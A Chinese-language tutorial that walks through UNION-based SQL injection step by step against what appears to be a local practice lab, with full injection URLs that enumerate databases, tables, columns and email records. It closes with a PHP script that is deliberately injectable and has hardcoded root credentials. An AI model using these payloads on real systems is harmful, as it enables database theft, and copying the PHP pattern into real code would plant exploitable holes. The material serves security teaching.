zoukankan      html  css  js  c++  java
  • SQL注入基础:1.union注入

    SQL注入基础:1.union注入

    SQL注入基础:1.union注入

    1.1 union注入攻击

    1)判断是否存在注入

    URL:http://www.tianchi.com/web/union.php?id=1

    URL:http://www.tianchi.com/web/union.php?id=1'

    URL:http://www.tianchi.com/web/union.php?id=1 and 1=1

    URL:http://www.tianchi.com/web/union.php?id=1 and 1=2

    发现可能存在SQL注入漏洞。

    2)查询字段数量

    URL:http://www.tianchi.com/web/union.php?id=1 order by 3

    当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

    3)查询SQL语句插入位置

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,2,3

    可以看到2,3位置可以插入SQL语句。

    4)获取数据库库名

    (1)获取当前数据库库名

    2位置修改为:database()

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

    (2)获取所有数据库库名

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

    (3)逐条获取数据库库名

    语句:select schema_name from information_schema.schemata limit 0,1;

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

    修改limit中第一个数字,如获取第二个库名:limit 1,1。

    数据库库名:information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

    5)获取数据库表名

    (1)方法一:

    获取数据库表名,这种方式一次获取一个表名,2位置修改为:

    select table_name from information_schema.tables where table_schema='security' limit 0,1;

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

    修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

    表名是:emails,referers,uagents,users。

    (2)方法二:

    一次性获取当前数据库所有表名:

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

    6)获取字段名

    (1)方法一:

    获取字段名,以emails表为例,2位置修改为:

    select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

    修改limit中第一个数字,如获取第二个字段名:limit 1,1

    字段名:id,email_id。

    (2)方法二:

    以emails表为例,一次性获取所有字段名:

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

    7)获取数据

    (1)方法一:

    获取数据,以emails表为例,2,3位置分别修改为:

    (select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

    获取emails表第一,第二条数据:

           1 : Dumb@dhakkan.com

           2 : Angel@iloveu.com

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

    (2)方法二:

    以emails表为例,一次性获取所有数据:

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),id,email_id),3 from security.emails

    1.2 union注入PHP代码

    1.  
      <?php
    2.  
      $con=mysqli_connect("localhost","root","root","security");
    3.  
      mysqli_set_charset($con,'utf8');
    4.  
      if(!$con){
    5.  
      echo "Connect failed : ".mysqli_connect_error();
    6.  
      }
    7.  
       
    8.  
      $id=$_GET['id'];
    9.  
      $result=mysqli_query($con,"select * from users where id=".$id );
    10.  
      $row=mysqli_fetch_array($result);
    11.  
      echo $row['username']." : ".$row['password'];
    12.  
      ?>
     
  • 相关阅读:
    Security headers quick reference Learn more about headers that can keep your site safe and quickly look up the most important details.
    Missing dollar riddle
    Where Did the Other Dollar Go, Jeff?
    proteus 与 keil 联调
    cisco router nat
    router dhcp and dns listen
    配置802.1x在交换机的端口验证设置
    ASAv931安装&初始化及ASDM管理
    S5700与Cisco ACS做802.1x认证
    playwright
  • 原文地址:https://www.cnblogs.com/P201421460007/p/12762257.html
Copyright © 2011-2022 走看看